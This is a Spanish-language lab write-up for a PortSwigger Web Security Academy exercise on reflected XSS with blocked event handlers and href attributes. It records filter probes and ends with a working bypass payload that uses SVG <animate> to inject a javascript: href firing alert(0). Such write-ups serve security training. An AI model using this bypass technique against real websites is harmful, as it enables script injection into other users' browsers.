> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/xss-with-blocked-events-and-href-attributes.md).

# XSS con eventos bloqueados y atributos href

Notas de XSS con eventos bloqueados y atributos href para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### XSS reflejado con controladores de eventos y atributos href bloqueados

Lab d La operación debe inyectar un elemento en el que se pueda hacer clic con las palabras **"Clic"** (o equivalente) y activar `alert()` al hacer clic.

Inserta un elemento visible que contenga la palabra **Haz clic en** que, cuando el usuario hace clic en él, ejecuta `alert()` a pesar de la prohibición de controladores de eventos y `href`.

```javascript
<script>
```

* Al insertar `<script>` devuelve: *La etiqueta no está permitida*.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1316ca1ba67d36888ded2cf56c151a1b2fa1f21e%2Fimage%20(404).png?alt=media" alt=""><figcaption></figcaption></figure>

* El `<a>` la etiqueta se acepta (p. ej., `<a>test</a>`),

```javascript
<a>test</a>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91e0aa4a451fd6594f5d219cb35a39e0ecdc711f%2Fimage%20(405).png?alt=media" alt="" width="510"><figcaption></figcaption></figure>

El `href` el atributo se rechaza — `href="JavaScript:..."` está bloqueado.

```javascript
<a href="javascript:alert(0);"Haz clic en mí</a>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dfe2ceb6f9051dee18a984c1a6331a902a6e97fc%2Fimage%20(406).png?alt=media" alt=""><figcaption></figcaption></figure>

* Se permiten elementos SVG (`<svg>` se acepta).

```javascript
<svg>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5ee9d764293ec3cbc9f953fefb54a7a2d0bbac1a%2Fimage%20(407).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* Los elementos de animación SVG (como `<animate>`) parecen estar presentes y ser explotables.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67d7ecc4ff55d20ab9571418bdeae2e164123c29%2Fimage%20(408).png?alt=media" alt=""><figcaption></figcaption></figure>

**Intentos —**

* Inyectar `<script>` → rechazado.
* Use `<a href="JavaScript:...">` → atributo prohibido.
* Bloqueo de contorno combinando elementos SVG y de animación para transferir un `href` valor a un ancla y así intentar ejecutar `JavaScript:alert(0)` al hacer clic.

```javascript
<svg><a><animate attributeName=href values=javascript:alert(0) /><text x=30 y=30>¡Haz clic en mí!</script></a>
```


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